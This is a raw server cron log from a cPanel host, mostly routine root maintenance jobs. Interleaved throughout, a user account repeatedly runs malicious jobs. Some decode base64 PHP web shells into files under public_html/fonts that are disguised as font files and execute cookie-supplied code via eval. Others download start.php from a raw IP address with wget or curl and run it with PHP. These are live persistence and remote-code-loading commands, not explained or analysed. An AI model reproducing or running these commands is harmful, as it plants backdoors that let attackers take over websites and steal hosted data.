Sep  5 22:28:01 ip-184-168-122-23 CROND[3198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:28:01 ip-184-168-122-23 CROND[3199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:28:01 ip-184-168-122-23 CROND[3201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:29:01 ip-184-168-122-23 CROND[3365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:29:01 ip-184-168-122-23 CROND[3366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:29:01 ip-184-168-122-23 CROND[3367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:29:01 ip-184-168-122-23 CROND[3368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:30:01 ip-184-168-122-23 CROND[3455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:30:01 ip-184-168-122-23 CROND[3457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:30:01 ip-184-168-122-23 CROND[3462]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:31:01 ip-184-168-122-23 CROND[3562]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:31:01 ip-184-168-122-23 CROND[3565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:31:01 ip-184-168-122-23 CROND[3567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:31:01 ip-184-168-122-23 CROND[3564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:31:01 ip-184-168-122-23 CROND[3566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:32:01 ip-184-168-122-23 CROND[3648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:32:01 ip-184-168-122-23 CROND[3651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:32:01 ip-184-168-122-23 CROND[3652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:32:01 ip-184-168-122-23 CROND[3650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:32:01 ip-184-168-122-23 CROND[3653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:33:01 ip-184-168-122-23 CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:33:01 ip-184-168-122-23 CROND[3735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:33:01 ip-184-168-122-23 CROND[3740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:33:01 ip-184-168-122-23 CROND[3737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:34:01 ip-184-168-122-23 CROND[3818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:34:01 ip-184-168-122-23 CROND[3822]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:34:01 ip-184-168-122-23 CROND[3821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:34:01 ip-184-168-122-23 CROND[3820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:34:01 ip-184-168-122-23 CROND[3823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4019]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4025]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:35:01 ip-184-168-122-23 CROND[4024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:36:01 ip-184-168-122-23 CROND[4124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:36:01 ip-184-168-122-23 CROND[4125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:36:01 ip-184-168-122-23 CROND[4126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:36:01 ip-184-168-122-23 CROND[4128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:36:01 ip-184-168-122-23 CROND[4129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:37:01 ip-184-168-122-23 CROND[4226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:37:01 ip-184-168-122-23 CROND[4227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:37:01 ip-184-168-122-23 CROND[4230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:37:01 ip-184-168-122-23 CROND[4228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:38:01 ip-184-168-122-23 CROND[4324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:38:01 ip-184-168-122-23 CROND[4327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:38:01 ip-184-168-122-23 CROND[4325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:38:01 ip-184-168-122-23 CROND[4326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:38:01 ip-184-168-122-23 CROND[4328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:39:01 ip-184-168-122-23 CROND[4415]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 22:39:01 ip-184-168-122-23 CROND[4413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:39:01 ip-184-168-122-23 CROND[4412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:39:01 ip-184-168-122-23 CROND[4414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:39:01 ip-184-168-122-23 CROND[4416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:40:01 ip-184-168-122-23 CROND[4599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:40:01 ip-184-168-122-23 CROND[4602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:40:01 ip-184-168-122-23 CROND[4598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:40:01 ip-184-168-122-23 CROND[4600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
